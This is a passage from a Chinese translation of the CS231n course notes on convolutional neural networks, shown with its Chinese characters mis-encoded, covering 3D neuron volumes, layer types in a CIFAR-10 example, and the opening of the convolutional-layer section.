ๆญค๏ผŒๅฏนๅบ”็š„็š„ๅธธ่ง„็ฅž็ป็ฝ‘็ปœ็š„็ฌฌไธ€ไธช้šๅฑ‚ไธญ๏ผŒๆฏไธ€ไธชๅ•็‹ฌ็š„ๅ…จ่ฟžๆŽฅ็ฅž็ปๅ…ƒๅฐฑๆœ‰32x32x3=3072ไธชๆƒ้‡ใ€‚่ฟ™ไธชๆ•ฐ้‡็œ‹่ตทๆฅ่ฟ˜ๅฏไปฅๆŽฅๅ—๏ผŒไฝ†ๆ˜ฏๅพˆๆ˜พ็„ถ่ฟ™ไธชๅ…จ่ฟžๆŽฅ็š„็ป“ๆž„ไธ้€‚็”จไบŽๆ›ดๅคงๅฐบๅฏธ็š„ๅ›พๅƒใ€‚ไธพไพ‹่ฏดๆฅ๏ผŒไธ€ไธชๅฐบๅฏธไธบ200x200x3็š„ๅ›พๅƒ๏ผŒไผš่ฎฉ็ฅž็ปๅ…ƒๅŒ…ๅซ200x200x3=120,000ไธชๆƒ้‡ๅ€ผใ€‚่€Œ็ฝ‘็ปœไธญ่‚ฏๅฎšไธๆญขไธ€ไธช็ฅž็ปๅ…ƒ๏ผŒ้‚ฃไนˆๅ‚ๆ•ฐ็š„้‡ๅฐฑไผšๅฟซ้€ŸๅขžๅŠ ๏ผๆ˜พ่€Œๆ˜“่ง๏ผŒ่ฟ™็งๅ…จ่ฟžๆŽฅๆ–นๅผๆ•ˆ็Ž‡ไฝŽไธ‹๏ผŒๅคง้‡็š„ๅ‚ๆ•ฐไนŸๅพˆๅฟซไผšๅฏผ่‡ด็ฝ‘็ปœ่ฟ‡ๆ‹Ÿๅˆใ€‚\n\n*็ฅž็ปๅ…ƒ็š„ไธ‰็ปดๆŽ’ๅˆ—*ใ€‚ๅท็งฏ็ฅž็ป็ฝ‘็ปœ้’ˆๅฏน่พ“ๅ…ฅๅ…จ้ƒจๆ˜ฏๅ›พๅƒ็š„ๆƒ…ๅ†ต๏ผŒๅฐ†็ป“ๆž„่ฐƒๆ•ดๅพ—ๆ›ดๅŠ ๅˆ็†๏ผŒ่Žทๅพ—ไบ†ไธๅฐ็š„ไผ˜ๅŠฟใ€‚ไธŽๅธธ่ง„็ฅž็ป็ฝ‘็ปœไธๅŒ๏ผŒๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„ๅ„ๅฑ‚ไธญ็š„็ฅž็ปๅ…ƒๆ˜ฏ3็ปดๆŽ’ๅˆ—็š„๏ผš**ๅฎฝๅบฆ**ใ€**้ซ˜ๅบฆ**ๅ’Œ**ๆทฑๅบฆ**๏ผˆ่ฟ™้‡Œ็š„**ๆทฑๅบฆ**ๆŒ‡็š„ๆ˜ฏๆฟ€ๆดปๆ•ฐๆฎไฝ“็š„็ฌฌไธ‰ไธช็ปดๅบฆ๏ผŒ่€Œไธๆ˜ฏๆ•ดไธช็ฝ‘็ปœ็š„ๆทฑๅบฆ๏ผŒๆ•ดไธช็ฝ‘็ปœ็š„ๆทฑๅบฆๆŒ‡็š„ๆ˜ฏ็ฝ‘็ปœ็š„ๅฑ‚ๆ•ฐ๏ผ‰ใ€‚ไธพไธชไพ‹ๅญ๏ผŒCIFAR-10ไธญ็š„ๅ›พๅƒๆ˜ฏไฝœไธบๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„่พ“ๅ…ฅ๏ผŒ่ฏฅๆ•ฐๆฎไฝ“็š„็ปดๅบฆๆ˜ฏ32x32x3๏ผˆๅฎฝๅบฆ๏ผŒ้ซ˜ๅบฆๅ’Œๆทฑๅบฆ๏ผ‰ใ€‚ๆˆ‘ไปฌๅฐ†็œ‹ๅˆฐ๏ผŒๅฑ‚ไธญ็š„็ฅž็ปๅ…ƒๅฐ†ๅชไธŽๅ‰ไธ€ๅฑ‚ไธญ็š„ไธ€ๅฐๅ—ๅŒบๅŸŸ่ฟžๆŽฅ๏ผŒ่€Œไธๆ˜ฏ้‡‡ๅ–ๅ…จ่ฟžๆŽฅๆ–นๅผใ€‚ๅฏนไบŽ็”จๆฅๅˆ†็ฑปCIFAR-10ไธญ็š„ๅ›พๅƒ็š„ๅท็งฏ็ฝ‘็ปœ๏ผŒๅ…ถๆœ€ๅŽ็š„่พ“ๅ‡บๅฑ‚็š„็ปดๅบฆๆ˜ฏ1x1x10๏ผŒๅ› ไธบๅœจๅท็งฏ็ฅž็ป็ฝ‘็ปœ็ป“ๆž„็š„ๆœ€ๅŽ้ƒจๅˆ†ๅฐ†ไผšๆŠŠๅ…จๅฐบๅฏธ็š„ๅ›พๅƒๅŽ‹็ผฉไธบๅŒ…ๅซๅˆ†็ฑป่ฏ„ๅˆ†็š„ไธ€ไธชๅ‘้‡๏ผŒๅ‘้‡ๆ˜ฏๅœจๆทฑๅบฆๆ–นๅ‘ๆŽ’ๅˆ—็š„ใ€‚ไธ‹้ขๆ˜ฏไพ‹ๅญ๏ผš\n\n---\n\n![](https://i.loli.net/2018/03/09/5aa293394457a.png)\n\nๅทฆ่พนๆ˜ฏไธ€ไธช3ๅฑ‚็š„็ฅž็ป็ฝ‘็ปœใ€‚ๅณ่พนๆ˜ฏไธ€ไธชๅท็งฏ็ฅž็ป็ฝ‘็ปœ๏ผŒๅ›พไพ‹ไธญ็ฝ‘็ปœๅฐ†ๅฎƒ็š„็ฅž็ปๅ…ƒ้ƒฝๆŽ’ๅˆ—ๆˆ3ไธช็ปดๅบฆ๏ผˆๅฎฝใ€้ซ˜ๅ’Œๆทฑๅบฆ๏ผ‰ใ€‚ๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„ๆฏไธ€ๅฑ‚้ƒฝๅฐ†3D็š„่พ“ๅ…ฅๆ•ฐๆฎๅ˜ๅŒ–ไธบ็ฅž็ปๅ…ƒ3D็š„ๆฟ€ๆดปๆ•ฐๆฎๅนถ่พ“ๅ‡บใ€‚ๅœจ่ฟ™ไธชไพ‹ๅญไธญ๏ผŒ็บข่‰ฒ็š„่พ“ๅ…ฅๅฑ‚่ฃ…็š„ๆ˜ฏๅ›พๅƒ๏ผŒๆ‰€ไปฅๅฎƒ็š„ๅฎฝๅบฆๅ’Œ้ซ˜ๅบฆๅฐฑๆ˜ฏๅ›พๅƒ็š„ๅฎฝๅบฆๅ’Œ้ซ˜ๅบฆ๏ผŒๅฎƒ็š„ๆทฑๅบฆๆ˜ฏ3๏ผˆไปฃ่กจไบ†็บขใ€็ปฟใ€่“3็ง้ขœ่‰ฒ้€š้“๏ผ‰ใ€‚\n\n---\n\n> ๅท็งฏ็ฅž็ป็ฝ‘็ปœๆ˜ฏ็”ฑๅฑ‚็ป„ๆˆ็š„ใ€‚ๆฏไธ€ๅฑ‚้ƒฝๆœ‰ไธ€ไธช็ฎ€ๅ•็š„API๏ผš็”จไธ€ไบ›ๅซๆˆ–่€…ไธๅซๅ‚ๆ•ฐ็š„ๅฏๅฏผ็š„ๅ‡ฝๆ•ฐ๏ผŒๅฐ†่พ“ๅ…ฅ็š„3Dๆ•ฐๆฎๅ˜ๆขไธบ3D็š„่พ“ๅ‡บๆ•ฐๆฎใ€‚\n\n\n\n\n\n## **็”จๆฅๆž„ๅปบๅท็งฏ็ฝ‘็ปœ็š„ๅ„็งๅฑ‚**\n\nไธ€ไธช็ฎ€ๅ•็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœๆ˜ฏ็”ฑๅ„็งๅฑ‚ๆŒ‰็…ง้กบๅบๆŽ’ๅˆ—็ป„ๆˆ๏ผŒ็ฝ‘็ปœไธญ็š„ๆฏไธชๅฑ‚ไฝฟ็”จไธ€ไธชๅฏไปฅๅพฎๅˆ†็š„ๅ‡ฝๆ•ฐๅฐ†ๆฟ€ๆดปๆ•ฐๆฎไปŽไธ€ไธชๅฑ‚ไผ ้€’ๅˆฐๅฆไธ€ไธชๅฑ‚ใ€‚ๅท็งฏ็ฅž็ป็ฝ‘็ปœไธป่ฆ็”ฑไธ‰็ง็ฑปๅž‹็š„ๅฑ‚ๆž„ๆˆ๏ผš**ๅท็งฏๅฑ‚**๏ผŒ**ๆฑ‡่š๏ผˆPooling๏ผ‰ๅฑ‚**ๅ’Œ**ๅ…จ่ฟžๆŽฅๅฑ‚**๏ผˆๅ…จ่ฟžๆŽฅๅฑ‚ๅ’Œๅธธ่ง„็ฅž็ป็ฝ‘็ปœไธญ็š„ไธ€ๆ ท๏ผ‰ใ€‚้€š่ฟ‡ๅฐ†่ฟ™ไบ›ๅฑ‚ๅ ๅŠ ่ตทๆฅ๏ผŒๅฐฑๅฏไปฅๆž„ๅปบไธ€ไธชๅฎŒๆ•ด็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœใ€‚\n\n*็ฝ‘็ปœ็ป“ๆž„ไพ‹ๅญ๏ผš*่ฟ™ไป…ไป…ๆ˜ฏไธชๆฆ‚่ฟฐ๏ผŒไธ‹้ขไผšๆ›ด่ฏฆ่งฃ็š„ไป‹็ป็ป†่Š‚ใ€‚ไธ€ไธช็”จไบŽCIFAR-10ๅ›พๅƒๆ•ฐๆฎๅˆ†็ฑป็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„็ป“ๆž„ๅฏไปฅๆ˜ฏ[่พ“ๅ…ฅๅฑ‚-ๅท็งฏๅฑ‚-ReLUๅฑ‚-ๆฑ‡่šๅฑ‚-ๅ…จ่ฟžๆŽฅๅฑ‚]ใ€‚็ป†่Š‚ๅฆ‚ไธ‹๏ผš\n\n- ่พ“ๅ…ฅ[32x32x3]ๅญ˜ๆœ‰ๅ›พๅƒ็š„ๅŽŸๅง‹ๅƒ็ด ๅ€ผ๏ผŒๆœฌไพ‹ไธญๅ›พๅƒๅฎฝ้ซ˜ๅ‡ไธบ32๏ผŒๆœ‰3ไธช้ขœ่‰ฒ้€š้“ใ€‚\n- ๅท็งฏๅฑ‚ไธญ๏ผŒ็ฅž็ปๅ…ƒไธŽ่พ“ๅ…ฅๅฑ‚ไธญ็š„ไธ€ไธชๅฑ€้ƒจๅŒบๅŸŸ็›ธ่ฟž๏ผŒๆฏไธช็ฅž็ปๅ…ƒ้ƒฝ่ฎก็ฎ—่‡ชๅทฑไธŽ่พ“ๅ…ฅๅฑ‚็›ธ่ฟž็š„ๅฐๅŒบๅŸŸไธŽ่‡ชๅทฑๆƒ้‡็š„ๅ†…็งฏใ€‚ๅท็งฏๅฑ‚ไผš่ฎก็ฎ—ๆ‰€ๆœ‰็ฅž็ปๅ…ƒ็š„่พ“ๅ‡บใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌไฝฟ็”จ12ไธชๆปคๆณขๅ™จ๏ผˆไนŸๅซไฝœๆ ธ๏ผ‰๏ผŒๅพ—ๅˆฐ็š„่พ“ๅ‡บๆ•ฐๆฎไฝ“็š„็ปดๅบฆๅฐฑๆ˜ฏ[32x32x12]ใ€‚\n- ReLUๅฑ‚ๅฐ†ไผš้€ไธชๅ…ƒ็ด ๅœฐ่ฟ›่กŒๆฟ€ๆดปๅ‡ฝๆ•ฐๆ“ไฝœ๏ผŒๆฏ”ๅฆ‚ไฝฟ็”จไปฅ0ไธบ้˜ˆๅ€ผ็š„$max(0,x)$ไฝœไธบๆฟ€ๆดปๅ‡ฝๆ•ฐใ€‚่ฏฅๅฑ‚ๅฏนๆ•ฐๆฎๅฐบๅฏธๆฒกๆœ‰ๆ”นๅ˜๏ผŒ่ฟ˜ๆ˜ฏ[32x32x12]ใ€‚\n- ๆฑ‡่šๅฑ‚ๅœจๅœจ็ฉบ้—ด็ปดๅบฆ๏ผˆๅฎฝๅบฆๅ’Œ้ซ˜ๅบฆ๏ผ‰ไธŠ่ฟ›่กŒ้™้‡‡ๆ ท๏ผˆdownsampling๏ผ‰ๆ“ไฝœ๏ผŒๆ•ฐๆฎๅฐบๅฏธๅ˜ไธบ[16x16x12]ใ€‚\n- ๅ…จ่ฟžๆŽฅๅฑ‚ๅฐ†ไผš่ฎก็ฎ—ๅˆ†็ฑป่ฏ„ๅˆ†๏ผŒๆ•ฐๆฎๅฐบๅฏธๅ˜ไธบ[1x1x10]๏ผŒๅ…ถไธญ10ไธชๆ•ฐๅญ—ๅฏนๅบ”็š„ๅฐฑๆ˜ฏCIFAR-10ไธญ10ไธช็ฑปๅˆซ็š„ๅˆ†็ฑป่ฏ„ๅˆ†ๅ€ผใ€‚ๆญฃๅฆ‚ๅ…ถๅ๏ผŒๅ…จ่ฟžๆŽฅๅฑ‚ไธŽๅธธ่ง„็ฅž็ป็ฝ‘็ปœไธ€ๆ ท๏ผŒๅ…ถไธญๆฏไธช็ฅž็ปๅ…ƒ้ƒฝไธŽๅ‰ไธ€ๅฑ‚ไธญๆ‰€ๆœ‰็ฅž็ปๅ…ƒ็›ธ่ฟžๆŽฅใ€‚\n\n็”ฑๆญค็œ‹ๆฅ๏ผŒๅท็งฏ็ฅž็ป็ฝ‘็ปœไธ€ๅฑ‚ไธ€ๅฑ‚ๅœฐๅฐ†ๅ›พๅƒไปŽๅŽŸๅง‹ๅƒ็ด ๅ€ผๅ˜ๆขๆˆๆœ€็ปˆ็š„ๅˆ†็ฑป่ฏ„ๅˆ†ๅ€ผใ€‚ๅ…ถไธญๆœ‰็š„ๅฑ‚ๅซๆœ‰ๅ‚ๆ•ฐ๏ผŒๆœ‰็š„ๆฒกๆœ‰ใ€‚ๅ…ทไฝ“่ฏดๆฅ๏ผŒๅท็งฏๅฑ‚ๅ’Œๅ…จ่ฟžๆŽฅๅฑ‚๏ผˆCONV/FC๏ผ‰ๅฏน่พ“ๅ…ฅๆ‰ง่กŒๅ˜ๆขๆ“ไฝœ็š„ๆ—ถๅ€™๏ผŒไธไป…ไผš็”จๅˆฐๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผŒ่ฟ˜ไผš็”จๅˆฐๅพˆๅคšๅ‚ๆ•ฐ๏ผˆ็ฅž็ปๅ…ƒ็š„็ช่งฆๆƒๅ€ผๅ’Œๅๅทฎ๏ผ‰ใ€‚่€ŒReLUๅฑ‚ๅ’Œๆฑ‡่šๅฑ‚ๅˆ™ๆ˜ฏ่ฟ›่กŒไธ€ไธชๅ›บๅฎšไธๅ˜็š„ๅ‡ฝๆ•ฐๆ“ไฝœใ€‚ๅท็งฏๅฑ‚ๅ’Œๅ…จ่ฟžๆŽฅๅฑ‚ไธญ็š„ๅ‚ๆ•ฐไผš้š็€ๆขฏๅบฆไธ‹้™่ขซ่ฎญ็ปƒ๏ผŒ่ฟ™ๆ ทๅท็งฏ็ฅž็ป็ฝ‘็ปœ่ฎก็ฎ—ๅ‡บ็š„ๅˆ†็ฑป่ฏ„ๅˆ†ๅฐฑ่ƒฝๅ’Œ่ฎญ็ปƒ้›†ไธญ็š„ๆฏไธชๅ›พๅƒ็š„ๆ ‡็ญพๅปๅˆไบ†ใ€‚\n\n\n\n**ๅฐ็ป“**๏ผš\n\n- ็ฎ€ๅ•ๆกˆไพ‹ไธญๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„็ป“ๆž„๏ผŒๅฐฑๆ˜ฏไธ€็ณปๅˆ—็š„ๅฑ‚ๅฐ†่พ“ๅ…ฅๆ•ฐๆฎๅ˜ๆขไธบ่พ“ๅ‡บๆ•ฐๆฎ๏ผˆๆฏ”ๅฆ‚ๅˆ†็ฑป่ฏ„ๅˆ†๏ผ‰ใ€‚\n- ๅท็งฏ็ฅž็ป็ฝ‘็ปœ็ป“ๆž„ไธญๆœ‰ๅ‡ ็งไธๅŒ็ฑปๅž‹็š„ๅฑ‚๏ผˆ็›ฎๅ‰ๆœ€ๆต่กŒ็š„ๆœ‰ๅท็งฏๅฑ‚ใ€ๅ…จ่ฟžๆŽฅๅฑ‚ใ€ReLUๅฑ‚ๅ’Œๆฑ‡่šๅฑ‚๏ผ‰ใ€‚\n- ๆฏไธชๅฑ‚็š„่พ“ๅ…ฅๆ˜ฏ3Dๆ•ฐๆฎ๏ผŒ็„ถๅŽไฝฟ็”จไธ€ไธชๅฏๅฏผ็š„ๅ‡ฝๆ•ฐๅฐ†ๅ…ถๅ˜ๆขไธบ3D็š„่พ“ๅ‡บๆ•ฐๆฎใ€‚\n- ๆœ‰็š„ๅฑ‚ๆœ‰ๅ‚ๆ•ฐ๏ผŒๆœ‰็š„ๆฒกๆœ‰๏ผˆๅท็งฏๅฑ‚ๅ’Œๅ…จ่ฟžๆŽฅๅฑ‚ๆœ‰๏ผŒReLUๅฑ‚ๅ’Œๆฑ‡่šๅฑ‚ๆฒกๆœ‰๏ผ‰ใ€‚\n- ๆœ‰็š„ๅฑ‚ๆœ‰้ขๅค–็š„่ถ…ๅ‚ๆ•ฐ๏ผŒๆœ‰็š„ๆฒกๆœ‰๏ผˆๅท็งฏๅฑ‚ใ€ๅ…จ่ฟžๆŽฅๅฑ‚ๅ’Œๆฑ‡่šๅฑ‚ๆœ‰๏ผŒReLUๅฑ‚ๆฒกๆœ‰๏ผ‰ใ€‚\n\n---\n\n![](https://i.loli.net/2018/03/09/5aa2937899d58.png)\n\nไธ€ไธชๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„ๆฟ€ๆดป่พ“ๅ‡บไพ‹ๅญใ€‚ๅทฆ่พน็š„่พ“ๅ…ฅๅฑ‚ๅญ˜ๆœ‰ๅŽŸๅง‹ๅ›พๅƒๅƒ็ด ๏ผŒๅณ่พน็š„่พ“ๅ‡บๅฑ‚ๅญ˜ๆœ‰็ฑปๅˆซๅˆ†็ฑป่ฏ„ๅˆ†ใ€‚ๅœจๅค„็†ๆต็จ‹ไธญ็š„ๆฏไธชๆฟ€ๆดปๆ•ฐๆฎไฝ“ๆ˜ฏ้“บๆˆไธ€ๅˆ—ๆฅๅฑ•็คบ็š„ใ€‚ๅ› ไธบๅฏน3Dๆ•ฐๆฎไฝœๅ›พๆฏ”่พƒๅ›ฐ้šพ๏ผŒๆˆ‘ไปฌๅฐฑๆŠŠๆฏไธชๆ•ฐๆฎไฝ“ๅˆ‡ๆˆๅฑ‚๏ผŒ็„ถๅŽ้“บๆˆไธ€ๅˆ—ๆ˜พ็คบใ€‚ๆœ€ๅŽไธ€ๅฑ‚่ฃ…็š„ๆ˜ฏ้’ˆๅฏนไธๅŒ็ฑปๅˆซ็š„ๅˆ†็ฑปๅพ—ๅˆ†๏ผŒ่ฟ™้‡Œๅชๆ˜พ็คบไบ†ๅพ—ๅˆ†ๆœ€้ซ˜็š„5ไธช่ฏ„ๅˆ†ๅ€ผๅ’Œๅฏนๅบ”็š„็ฑปๅˆซใ€‚ๅฎŒๆ•ด็š„[็ฝ‘้กตๆผ”็คบ](http://link.zhihu.com/?target=http%3A//cs231n.stanford.edu/)ๅœจๆˆ‘ไปฌ็š„่ฏพ็จ‹ไธป้กตใ€‚ๆœฌไพ‹ไธญ็š„็ป“ๆž„ๆ˜ฏไธ€ไธชๅฐ็š„VGG็ฝ‘็ปœ๏ผŒVGG็ฝ‘็ปœๅŽ้ขไผšๆœ‰่ฎจ่ฎบใ€‚\n\n---\n\n็Žฐๅœจ่ฎฒ่งฃไธๅŒ็š„ๅฑ‚๏ผŒๅฑ‚็š„่ถ…ๅ‚ๆ•ฐๅ’Œ่ฟžๆŽฅๆƒ…ๅ†ต็š„็ป†่Š‚ใ€‚\n\n\n\n## ๅท็งฏๅฑ‚\n\nๅท็งฏๅฑ‚ๆ˜ฏๆž„ๅปบๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„ๆ ธๅฟƒๅฑ‚๏ผŒๅฎƒไบง็”Ÿไบ†็ฝ‘็ปœไธญๅคง้ƒจๅˆ†็š„่ฎก็ฎ—้‡ใ€‚\n\n\n\n**ๆฆ‚่ฟฐๅ’Œ็›ด่ง‚ไป‹็ป**๏ผš้ฆ–ๅ…ˆ่ฎจ่ฎบ็š„ๆ˜ฏ๏ผŒๅœจๆฒกๆœ‰ๅคง่„‘ๅ’Œ็”Ÿ็‰ฉๆ„ไน‰ไธŠ็š„็ฅž็ปๅ…ƒไน‹็ฑป็š„ๆฏ”ๅ–ปไธ‹๏ผŒๅท็งฏๅฑ‚ๅˆฐๅบ•ๅœจ่ฎก็ฎ—ไป€ไนˆใ€‚ๅท็งฏๅฑ‚็š„ๅ‚ๆ•ฐๆ˜ฏๆœ‰ไธ€ไบ›ๅฏๅญฆไน ็š„ๆปคๆณขๅ™จ้›†ๅˆๆž„ๆˆ็š„ใ€‚ๆฏไธชๆปคๆณขๅ™จๅœจ็ฉบ้—ดไธŠ๏ผˆๅฎฝๅบฆๅ’Œ้ซ˜ๅบฆ๏ผ‰้ƒฝๆฏ”่พƒๅฐ๏ผŒไฝ†ๆ˜ฏๆทฑๅบฆๅ’Œ่พ“ๅ…ฅๆ•ฐๆฎไธ€่‡ดใ€‚ไธพไพ‹ๆฅ่ฏด๏ผŒๅท็งฏ็ฅž็ป็ฝ‘็ปœ็ฌฌไธ€ๅฑ‚็š„ไธ€ไธชๅ…ธๅž‹็š„ๆปคๆณขๅ™จ็š„ๅฐบๅฏธๅฏไปฅๆ˜ฏ5x5x3๏ผˆๅฎฝ้ซ˜้ƒฝๆ˜ฏ5ๅƒ็ด ๏ผŒๆทฑๅบฆๆ˜ฏ3ๆ˜ฏๅ› ไธบๅ›พๅƒๅบ”ไธบ้ขœ่‰ฒ้€š้“๏ผŒๆ‰€ไปฅๆœ‰3็š„ๆทฑๅบฆ๏ผ‰ใ€‚ๅœจๅ‰ๅ‘ไผ ๆ’ญ็š„ๆ—ถๅ€™๏ผŒ่ฎฉๆฏไธชๆปคๆณขๅ™จ้ƒฝๅœจ่พ“ๅ…ฅๆ•ฐๆฎ็š„ๅฎฝๅบฆๅ’Œ้ซ˜ๅบฆไธŠๆป‘ๅŠจ๏ผˆๆ›ด็ฒพ็กฎๅœฐ่ฏดๆ˜ฏๅท็งฏ๏ผ‰๏ผŒ็„ถๅŽ่ฎก็ฎ—ๆ•ดไธชๆปคๆณขๅ™จๅ’Œ่พ“ๅ…ฅๆ•ฐๆฎไปปไธ€ๅค„็š„ๅ†…็งฏใ€‚ๅฝ“ๆปคๆณขๅ™จๆฒฟ็€่พ“ๅ…ฅๆ•ฐๆฎ็š„ๅฎฝๅบฆๅ’Œ้ซ˜ๅบฆๆป‘่ฟ‡ๅŽ๏ผŒไผš็”Ÿๆˆไธ€ไธช2็ปด็š„ๆฟ€ๆดปๅ›พ๏ผˆactivation map๏ผ‰๏ผŒๆฟ€ๆดปๅ›พ็ป™ๅ‡บไบ†ๅœจๆฏไธช็ฉบ้—ดไฝ็ฝฎๅค„ๆปคๆณขๅ™จ็š„ๅๅบ”ใ€‚็›ด่ง‚ๅœฐๆฅ่ฏด๏ผŒ็ฝ‘็ปœไผš่ฎฉๆปคๆณขๅ™จๅญฆไน ๅˆฐๅฝ“ๅฎƒ็œ‹ๅˆฐๆŸไบ›็ฑปๅž‹็š„่ง†่ง‰็‰นๅพๆ—ถๅฐฑๆฟ€ๆดป๏ผŒๅ…ทไฝ“็š„่ง†่ง‰็‰นๅพๅฏ่ƒฝๆ˜ฏๆŸไบ›ๆ–นไฝไธŠ็š„่พน็•Œ๏ผŒๆˆ–่€…ๅœจ็ฌฌไธ€ๅฑ‚ไธŠๆŸไบ›้ขœ่‰ฒ็š„ๆ–‘็‚น๏ผŒ็”š่‡ณๅฏไปฅๆ˜ฏ็ฝ‘็ปœๆ›ด้ซ˜ๅฑ‚ไธŠ็š„่œ‚ๅทข็Šถๆˆ–่€…่ฝฆ่ฝฎ็Šถๅ›พๆกˆใ€‚\n\nๅœจๆฏไธชๅท็งฏๅฑ‚ไธŠ๏ผŒๆˆ‘ไปฌไผšๆœ‰ไธ€ๆ•ดไธช้›†ๅˆ็š„ๆปคๆณขๅ™จ๏ผˆๆฏ”ๅฆ‚12ไธช๏ผ‰๏ผŒๆฏไธช้ƒฝไผš็”Ÿๆˆไธ€ไธชไธๅŒ็š„ไบŒ็ปดๆฟ€ๆดปๅ›พใ€‚ๅฐ†่ฟ™ไบ›ๆฟ€ๆดปๆ˜ ๅฐ„ๅœจๆทฑๅบฆๆ–นๅ‘ไธŠๅฑ‚ๅ ่ตทๆฅๅฐฑ็”Ÿๆˆไบ†่พ“ๅ‡บๆ•ฐๆฎใ€‚\n\n**ไปฅๅคง่„‘ๅšๆฏ”ๅ–ป**๏ผšๅฆ‚ๆžœไฝ ๅ–œๆฌข็”จๅคง่„‘ๅ’Œ็”Ÿ็‰ฉ็ฅž็ปๅ…ƒๆฅๅšๆฏ”ๅ–ป๏ผŒ้‚ฃไนˆ่พ“ๅ‡บ็š„3Dๆ•ฐๆฎไธญ็š„ๆฏไธชๆ•ฐๆฎ้กนๅฏไปฅ่ขซ็œ‹ๅšๆ˜ฏ็ฅž็ปๅ…ƒ็š„ไธ€ไธช่พ“ๅ‡บ๏ผŒ่€Œ่ฏฅ็ฅž็ปๅ…ƒๅช่ง‚ๅฏŸ่พ“ๅ…ฅๆ•ฐๆฎไธญ็š„ไธ€ๅฐ้ƒจๅˆ†๏ผŒๅนถไธ”ๅ’Œ็ฉบ้—ดไธŠๅทฆๅณไธค่พน็š„ๆ‰€ๆœ‰็ฅž็ปๅ…ƒๅ…ฑไบซๅ‚ๆ•ฐ๏ผˆๅ› ไธบ่ฟ™ไบ›ๆ•ฐๅญ—้ƒฝๆ˜ฏไฝฟ็”จๅŒไธ€ไธชๆปคๆณขๅ™จๅพ—ๅˆฐ็š„็ป“ๆžœ๏ผ‰ใ€‚็Žฐๅœจๅผ€ๅง‹่ฎจ่ฎบ็ฅž็ปๅ…ƒ็š„่ฟžๆŽฅ๏ผŒๅฎƒไปฌๅœจ็ฉบ้—ดไธญ็š„ๆŽ’ๅˆ—๏ผŒไปฅๅŠๅฎƒไปฌๅ‚ๆ•ฐๅ…ฑไบซ็š„ๆจกๅผใ€‚\n\n**ๅฑ€้ƒจ่ฟžๆŽฅ**๏ผšๅœจๅค„็†ๅ›พๅƒ่ฟ™ๆ ท็š„้ซ˜็ปดๅบฆ่พ“ๅ…ฅๆ—ถ๏ผŒ่ฎฉๆฏไธช็ฅž็ปๅ…ƒ้ƒฝไธŽๅ‰ไธ€ๅฑ‚ไธญ็š„ๆ‰€ๆœ‰็ฅž็ปๅ…ƒ่ฟ›่กŒๅ…จ่ฟžๆŽฅๆ˜ฏไธ็Žฐๅฎž็š„ใ€‚็›ธๅ๏ผŒๆˆ‘ไปฌ่ฎฉๆฏไธช็ฅž็ปๅ…ƒๅชไธŽ่พ“ๅ…ฅๆ•ฐๆฎ็š„ไธ€ไธชๅฑ€้ƒจๅŒบๅŸŸ่ฟžๆŽฅใ€‚่ฏฅ่ฟžๆŽฅ็š„็ฉบ้—ดๅคงๅฐๅซๅš็ฅž็ปๅ…ƒ็š„**ๆ„Ÿๅ—้‡Ž๏ผˆreceptive field๏ผ‰**๏ผŒๅฎƒ็š„ๅฐบๅฏธๆ˜ฏไธ€ไธช่ถ…ๅ‚ๆ•ฐ๏ผˆๅ…ถๅฎžๅฐฑๆ˜ฏๆปคๆณขๅ™จ็š„็ฉบ้—ดๅฐบๅฏธ๏ผ‰ใ€‚ๅœจๆทฑๅบฆๆ–นๅ‘ไธŠ๏ผŒ่ฟ™ไธช่ฟžๆŽฅ็š„ๅคงๅฐๆ€ปๆ˜ฏๅ’Œ่พ“ๅ…ฅ้‡็š„ๆทฑๅบฆ็›ธ็ญ‰ใ€‚้œ€่ฆๅ†ๆฌกๅผบ่ฐƒ็š„ๆ˜ฏ๏ผŒๆˆ‘ไปฌๅฏนๅพ…็ฉบ้—ด็ปดๅบฆ๏ผˆๅฎฝๅ’Œ้ซ˜๏ผ‰ไธŽๆทฑๅบฆ็ปดๅบฆๆ˜ฏไธๅŒ็š„๏ผš่ฟžๆŽฅๅœจ็ฉบ้—ด๏ผˆๅฎฝ้ซ˜๏ผ‰ไธŠๆ˜ฏๅฑ€้ƒจ็š„๏ผŒไฝ†ๆ˜ฏๅœจๆทฑๅบฆไธŠๆ€ปๆ˜ฏๅ’Œ่พ“ๅ…ฅๆ•ฐๆฎ็š„ๆทฑๅบฆไธ€่‡ดใ€‚\n\n*ไพ‹1*๏ผšๅ‡่ฎพ่พ“ๅ…ฅๆ•ฐๆฎไฝ“ๅฐบๅฏธไธบ[32x32x3]๏ผˆๆฏ”ๅฆ‚CIFAR-10็š„RGBๅ›พๅƒ๏ผ‰๏ผŒๅฆ‚ๆžœๆ„Ÿๅ—้‡Ž๏ผˆๆˆ–ๆปคๆณขๅ™จๅฐบๅฏธ๏ผ‰ๆ˜ฏ5x5๏ผŒ้‚ฃไนˆๅท็งฏๅฑ‚ไธญ็š„ๆฏไธช็ฅž็ปๅ…ƒไผšๆœ‰่พ“ๅ…ฅๆ•ฐๆฎไฝ“ไธญ[5x5x3]ๅŒบๅŸŸ็š„ๆƒ้‡๏ผŒๅ…ฑ5x5x3=75ไธชๆƒ้‡๏ผˆ่ฟ˜่ฆๅŠ 